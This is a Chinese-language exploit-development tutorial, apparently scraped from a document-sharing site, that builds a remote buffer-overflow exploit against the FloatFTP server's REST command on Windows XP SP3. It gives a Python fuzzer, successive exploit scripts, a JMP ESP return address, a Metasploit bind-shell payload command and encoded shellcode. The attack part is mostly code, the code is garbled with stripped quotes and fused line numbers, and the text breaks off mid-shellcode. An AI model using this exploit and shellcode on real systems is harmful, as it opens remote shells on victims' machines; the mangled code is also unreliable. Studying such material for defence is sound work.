已阅读5页,还剩36页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
理解缓冲区溢出漏洞的利用在我第一次不得不处理缓冲区溢出漏洞时,我真是一窍不通啊!虽然我可以建立网络和配置防火墙、代理服务器,不费吹灰之力的入侵检测系统,但是对于利用代码来说,我还是第一次接触到。然而,正如处理任何复杂或是困难的概念一样,最好的办法就是把它分解成我们了解的多个部分。在 研究和学习教程后,一些概念和工具开始变得不那么令人困惑了,并且逐渐能够明白一些细节了。然后,我开始在实验室现有已掌握可重建的应用程序中,寻找简单 的缓存漏洞。只有在不断地实验,各种概念会一个个出现整个进程,无论是独立的部分还是整体都会一点点呈现出来。本教程将会为防御者描述一些基本概念,包括一个攻击者经历漏洞开发过程,需要的工作量和攻击者将要面对的编写恶意代码攻击特定漏洞的风险。如今的攻击者既有决心也有技术,并且知道对于负责计算机和网络的人来说什么实际操作是最关键的,防御者对敌人的动机和技术了解的越多,他就越容易制定有效的防御措施。我 要经历几个漏洞挖掘的阶段的才能找到一个有效漏洞,首先,我们会fuzz我们的目标应用程序,通过一个有趣的方式使它崩溃,通过 Immunitydebugger来监控崩溃的过程,在Windows系统的内存中找到最易受攻击的溢出的shellcode。随后,我们将要创造一个 漏洞来传递shellcode,从而攻击远程系统。需要的软件/设置 攻击系统:Backtrack Linux(我用的R3) 开发/受害系统:Windowsxpsp3英文版 Immunitydebugger:安装在Windowsxp系统上 FloatFTP:我们要利用的应用程序让我们正是开始吧!Fuzzing“Fuzzing”是发送无效或畸形的、过多的和随机数据到计算机程序试图使系统崩溃或出现意想不到现象的测试手段。Fuzzing用于测试系统和程序的安全。双击floatFTP来执行开始:通过运行cmd提示符来运行和监听21端口和键入:1netstat -an | find 21启动Immunitydebugger,单击“file”,再单击“attach”,选择FTP服务器过程,单击“attach”。一旦应用程序在调试器上加载时,调试器会处于暂定状态。按F9键或是Immunitydebugger工具栏上的播放符号,让应用程序运行。这个目标应用程序将会被调试器监控。现在我们将开始配置FTPfuzzer,首先,Fuzz应用程序来使系统崩溃,然后使用调试器来采集和分析崩溃数据。下面的代码是一个用python脚本语言编写的简单的FTPfuzzer,当执行时,fuzzer会发送标准的FTP命令“REST”,并且附加越来越多的“A”到每条指令。01#!/usr/bin/python0203importsocket0405# Create an array of buffers, from 20 to 2000, with increments of 20.0607buffer=A0809counter=201011whilelen(buffer) =30:1213buffer.append(A*counter)1415counter=counter+1001617# Define the FTP commands to be fuzzed1819commands=REST2021# Run the fuzzing loop2223forcommandincommands:2425forstringinbuffer:2627printFuzzing+command+ with length:+str(len(string)2829s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)3031connect=s.connect(2,21)# Target IP address3233s.recv(1024)3435s.send(USER ftprn)# login user3637s.recv(1024)3839s.send(PASS ftprn)# login password4041s.recv(1024)4243s.send(command+ +string+rn)# buffer4445s.recv(1024)4647s.send(QUITrn)4849s.close()我们可以从例子(/exploits/17546/)中知道FTP服务器的REST命令就是一个易受攻击的缓冲区溢出,FTP的REST功能将会成为fuzzer的目标。在攻击系统的桌面上创建一个文件夹来存放fuzzing和漏洞代码。使用“CD”到这个目录,运行“nanofuzzer.py”。这会打开一个空白的nano文本编辑器,复制和粘贴上面的代码到文件中。利用正在系统上运行的floatFTP的系统IP地址改变目标IP地址,按CTRL+O来保存文件,按CTRL+X来退出nano,接下来,通过键入来创建可执行文件。1chmod 755 fuzzer.py执行“/fuzzer.py”,几秒钟后,你能够看到fuzzer停止了,并且显示目标应用程序崩溃。当 你在xp系统上看到这个调试器,你会看到Immunitydebugger已经捕获了破坏的数据和暂停的应用程序。如果你看EIP(扩展指令指针)寄存 器时,你就会看到在41次内fuzzer缓冲区覆盖寄存器,fuzzer缓冲区也会涌入ESP(扩展堆栈指针)寄存器(00AEFC2C)。我们的首要目 的是了通过CPU执行的指令代码再次控制EIP寄存器,把它设置成我们所选择的值。漏洞挖掘用nano创建一个新的文件,输入下面的代码。这是挖掘的开始,将文件保存为skeleton.py并执行(输入chmod755skeleton.py)01#!/usr/bin/python0203importsocket0405s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)0607buffer=x41*10000809printnSending evil buffer.1011s.connect(2,21)1213data=s.recv(1024)1415s.send(USER ftp+rn)1617data=s.recv(1024)1819s.send(PASS ftp+rn)2021data=s.recv(1024)2223s.send(REST+buffer+rn)2425s.close()在攻击系统的Linux终端上运行skeleton.py。现在,当你在Immunitydebugger上检查EIP寄存器时,你会看到缓冲区代码041414141覆盖了寄存器,并溢出到了ESP寄存器中。下 一步就是要确定我们要插入代码的空间到底有多大,到现在为止,我们已经使用了一组固定的重复字符来确定我们的目标的内存地址。我们现在将要使用 metasploit的pattern_create和pattern_offset工具来帮助我们发现究竟有多大的空间,我们以什么特定的内存地址为目 标。首先,用1000个字符来生成一个不重复的字符串。使用cd命令到/opt/metasploit/msf3/tools并运行:1./pattern_create.rb 1000创建一个1000字符的字符串,用它来取代以前缓冲架构漏洞中的1000个字符“A”。注释掉以前的缓冲区漏洞,像下面一样创建一个新的缓冲线,在双引号中为新的缓冲区。01#!/usr/bin/python0203importsocket0405s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)0607#buffer = x41 * 10000809buffer=Paste pattern_create buffer here1011printnSending evil buffer.1213s.connect(2,21)1415data=s.recv(1024)1617s.send(USER ftp+rn)1819data=s.recv(1024)2021s.send(PASS ftp+rn)2223data=s.recv(1024)2425s.send(REST+buffer+rn)2627s.close()在 Immunitydebugger下重启FTP服务器(单击“debug”,之后重启或按CTRL+F2),启动FTP服务器的架构漏洞。按照先前的做 法一定崩溃了,但是现在EIP和ESP缓冲区中有metasploit创建的格式,把这些值复制下来,我们将用它们来计算EIP和ESP寄存器的字节中的 差异。在本例,EIP和ESP的值为:EIP:69413269ESP:00AEFC2C(69413669)之后,运行:1./pattern_offset.rb 69413269接着1./pattern_offset.rb 69413669输出告诉我们247个字节以后的EIP寄存器开始被缓冲区覆盖,这就意味着EIP中248251字节是我们想要的目标。CPU 通过EIP寄存器中的值知道下一个要运行的指令,在内存地址中运行这些当前的指令,在EIP的内存位置中使用JMPESP指令使CPU来执行指令和跳到 ESP寄存器中执行驻留在该地址的内存中的指令。我们的目的就是在EIP中使用JMPESP指令,这样我们就能控制执行命令并把我们的代码转变到ESP 寄存器中。两个寄存器之间有12个字节,于是我们用8个字节来填充我们的缓冲区,缩小间距和连接到ESP寄存器。我们使用保持1000字节边界的框架漏洞来调整缓冲区:1buffer = x41*247 + x42x42x42x42 + x43*8 + x44*741 z例如:buffereipdatapaddingshellcodeplaceholder01#!/usr/bin/python0203importsocket0405s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)0607#buffer = x41 * 10000809#buffer = pattern_create buffer1011buffer=x41*247+x42x42x42x42+x43*8+x44*7411213printnSending evil buffer.1415s.connect(2,21)1617data=s.recv(1024)1819s.send(USER ftp+rn)2021data=s.recv(1024)2223s.send(PASS ftp+rn)2425data=s.recv(1024)2627s.send(REST+buffer+rn)2829s.close()在Immunitydebugger中重启FTP服务器,按播放键取消暂停的应用程序。再 次运行挖掘,然后在Immunitydebugger器中右击ESP寄存器的窗格选择“followindump”。如果一切排列正确的话,EIP 寄存器中将会存储42424242和DS(x44)将会在ESP寄存器内存地址前面从EIP到ESP的空间中填充8 CS。很棒。在Immunitydebugger器中,复制DS的开始到结束的ESP的内存地址。然后打开windows计算器,转换到16进制的模式,把数值变成10进制。这里是这样的:开始:00AEFC2C=11467820结束:00AEFF0C=11468556用结束值减去开始值11468556-11467820=736,我们就知道有736个字节来储存代码。现在,我们有了目标内存地址和指令,我们需要一种方法获得从EIP寄存器到ESP寄存器的指令,为了做到这一点,我们可以在windows操作系统的DLL中使用现有的JMPESP指令。单击Immunitydebugger器的工具栏上的“e”,在存在的windowsdll中查找JMPESP指令,之后双击一个DLL,右键单击“搜索”,选择“command”,之后键入“JMPESP”。我 们在windows系统文件kernel32.dll系统文件中发现了我们要找的指令,然后记下JMPESP的内存地址。在本例中,是 7C86467B,注意,如果你正在使用任何其他操作系统,而不是32位的windowsxpsp3英文版,这个指令驻留在不同的位置。你要是用的是 其他系统,在另外的DLL中查找JMPESP指令,在剩下的教程中改变内存地址。我们用一个新的缓冲区来更新我们的骨架漏洞,注释掉最后的一个缓冲区声明,用下面的代码替代它:1buffer = x41*247 + x7Bx46x86x7C + x42*8 + xCC*741因 为小尾数CPU架构,JMPESP的地址必须在缓冲区中向后格式化,所以7C86467B变成了x7Bx46x86x7C。我们也要增加8Bs 作为填充(“x43*8)和改变最后一个值为xCC*741(742CCs),这将会作为我们的代码的占位。一切正常,CCs应该在我们的目 标ESP内存地址的开始,00AEFC2C,我们应该在EIP寄存器中找到我们的JMPESP指令(7C86467B)。01#!/usr/bin/python0203importsocket0405s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)0607#buffer = x41 * 10000809#buffer = pattern_create buffer1011#buffer = x41*247 + x44x44x44x44 + x43*8 + x44*7411213# Windows XP SP3 kernel32.dll JMP ESP1415buffer=x41*247+x7Bx46x86x7C+x42*8+xCC*7411617printnSending evil buffer.1819s.connect(2,21)2021data=s.recv(1024)2223s.send(USER ftp+rn)2425data=s.recv(1024)2627s.send(PASS ftp+rn)2829data=s.recv(1024)3031s.send(REST+buffer+rn)3233s.close()在Immunitydebugger器中单击“debug”之后“restar”来重启FTPsever.exe,不要忘记按F9或是在调试器中单击播放按钮来取消暂停的应用程序。在 Immunitydebugger器工具栏单击箭头指向的三个点,进入JMPESP内存所在的位置:7C86467B(在这个例子中),单击 “OK”,然后按下F2在调试中设置断点。当访问JMPESP地址时,调试将会暂定,让我们来查看寄存器和验证我们的目标EIP和ESP的正确性。再次运行漏洞,并在调试器中查看输出,这看起来应该和下面的类似:EIP中包含JMPESP的目标地址(7C86467B)和我们的CCs在ESP(00AEFC2C)开始。现在,我们控制执行命令,剩下的就是用shellcode替换掉占位的CCs。shellcode和漏洞我 们将使用metasploit的msfpayload来创建payload。有一点要注意:因为我们传递的都是字符串,我们必须要遵守字符限制的FTP协 议。这就意味着没有空,返回,换行,或是符号,他们用16进制的表示为x00,x0d,x0a,040。”x40xffx3d x20可以阻止shellcode执行。下面是用msfpayload命令创建的shellcode,当在目标系统中被执行时,TCP999端口将会被打开。Msfencode语句确保在shellcode中没有坏的字符能阻止上面的执行。1msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R | msfencode -b x40x0Ax00x0Dxffx0dx3dx20这个结果是一个386字节的payload:01* x86/shikata_ga_nai succeeded with size 368 (iteration=1)0203buf =0405xbax2ex27xc2x55xdbxdcxd9x74x24xf4x5fx2bxc9 +0607xb1x56x31x57x13x83xefxfcx03x57x21xc5x37xa9 +0809xd5x80xb8x52x25xf3x31xb7x14x21x25xb3x04xf5 +1011x2dx91xa4x7ex63x02x3fxf2xacx25x88xb9x8ax08 +1213x09x0cx13xc6xc9x0exefx15x1dxf1xcexd5x50xf0 +1415x17x0bx9axa0xc0x47x08x55x64x15x90x54xaax11 +1617xa8x2excfxe6x5cx85xcex36xccx92x99xaex67xfc +1819x39xcexa4x1ex05x99xc1xd5xfdx18x03x24xfdx2a +2021x6bxebxc0x82x66xf5x05x24x98x80x7dx56x25x93 +2223x45x24xf1x16x58x8ex72x80xb8x2ex57x57x4ax3c +2425x1cx13x14x21xa3xf0x2ex5dx28xf7xe0xd7x6axdc +2627x24xb3x29x7dx7cx19x9cx82x9exc5x41x27xd4xe4 +2829x96x51xb7x60x5bx6cx48x71xf3xe7x3bx43x5cx5c +3031xd4xefx15x7ax23x0fx0cx3axbbxeexaex3bx95x34 +3233xfax6bx8dx9dx82xe7x4dx21x57xa7x1dx8dx07x08 +3435xcex6dxf7xe0x04x62x28x10x27xa8x5fx16xe9x88 +3637x0cxf1x08x2fxb1xe6x84xc9xdfxf8xc0x42x77x3b +3839x37x5bxe0x44x1dxf7xb9xd2x29x11x7dxdcxa9x37 +4041x2ex71x01xd0xa4x99x96xc1xbbxb7xbex88x84x50 +4243x34xe5x47xc0x49x2cx3fx61xdbxabxbfxecxc0x63 +4445xe8xb9x37x7ax7cx54x61xd4x62xa5xf7x1fx26x72 +4647xc4x9exa7xf7x70x85xb7xc1x79x81xe3x9dx2fx5f +4849x5dx58x86x11x37x32x75xf8xdfxc3xb5x3bx99xcb +5051x93xcdx45x7dx4ax88x7axb2x1ax1cx03xaexbaxe3 +5253xdex6axc4x12xd2x66x51x8dx87xcax3fx2ex72x08 +5455x46xadx76xf1xbdxadxf3xf4xfax69xe8x84x93x1f +5657x0ex3ax93x35注释掉前面缓冲区声明和添加新的修改声明:1buffer = x41*247 + x7Bx46x86x7C + x42*8 + shellcode + xCC*373在 处理shellcode运行的问题,双重检查所有参数包括“坏字符”之后,我就决定添加NOP指令到缓冲区在shellcode之前。在计算机的CPU 中,一个NOPslide是一系列的NOP(无操作)指令(操作码090),这就意味着“滑动”CPU的指令执行流程到它的最终目标。当一切在一个漏 洞中正常排列,NOP指令是有利的,但是shellcode执行失败。我又一次修改缓冲区在shellcode前添加了16个NOP:1buffer = x41*247 + x7Bx46x86x7C + x42*8 + x90*16 + shellcode + xCC*357例如:bufferEIP-JMPESPEIPtoESPpaddingNOPsshellcodePadding最终完整的漏洞:01#!/usr/bin/python0203import socket0405s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)0607#buffer = x41 * 10000809#buffer = Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B1011#buffer = x41*247 + x42x42x42x42 + x43*8 + x44*7411213# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R | msfencode -b x40x0Ax00x0D 368 bytes1415shellcode = (xbax2ex27xc2x55xdbxdcxd9x74x24xf4x5fx2bxc91617xb1x56x31x57x13x83xefxfcx03x57x21xc5x37xa91819xd5x80xb8x52x25xf3x31xb7x14x21x25xb3x04xf52021x2dx91xa4x7ex63x02x3fxf2xacx25x88xb9x8ax082223x09x0cx13xc6xc9x0exefx15x1dxf1xcexd5x50xf02425x17x0bx9axa0xc0x47x08x55x64x15x90x54xaax112627xa8x2excfxe6x5cx85xcex36xccx92x99xaex67xfc2829x39xcexa4x1ex05x99xc1xd5xfdx18x03x24xfdx2a3031x6bxebxc0x82x66xf5x05x24x98x80x7dx56x25x933233x45x24xf1x16x58x8ex72x80xb8x2ex57x57x4ax3c3435x1cx13x14x21xa3xf0x2ex5dx28xf7xe0xd7x6axdc3637x24xb3x29x7dx7cx19x9cx82x9exc5x41x27xd4xe43839x96x51xb7x60x5bx6cx48x71xf3xe7x3bx43x5cx5c4041xd4xefx15x7ax23
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025年安全员B证考试试题(必刷)附答案详解
- 师德师风建设知识竞赛题(共4篇)
- 国家市场监督管理合同
- 2021年一建《铁路实务》真题及答案解析
- 市场监督管理局的合同5篇
- 2025年安全员B证考试试题一(b卷)附答案详解
- 2025年安全员B证考试试题附答案详解【基础题】
- 小学思想安全教育课件
- 小学食品安全教育课件模板下载
- 2025年设备监理师之设备监理合同自我提分评估(附答案)
- 车间升降机安全培训课件
- 高中生物全套知识点总结资料
- 大肠癌放化疗患者消化道症状群护理的证据总结
- 2024下半年特斯拉可持续发展报告:员工价值与企业价值并重
- 石油行业采购面试题及答案解析
- 《法律职业伦理(第3版)》全套教学课件
- 乡镇武装工作课件
- 肠梗阻课件完整版本
- 2025年学宪法讲宪法知识竞赛题库答案(小学组)
- 旅游接待服务礼仪规范培训
- DB13-T 6093-2025 河湖管理范围划定技术规程
评论
0/150
提交评论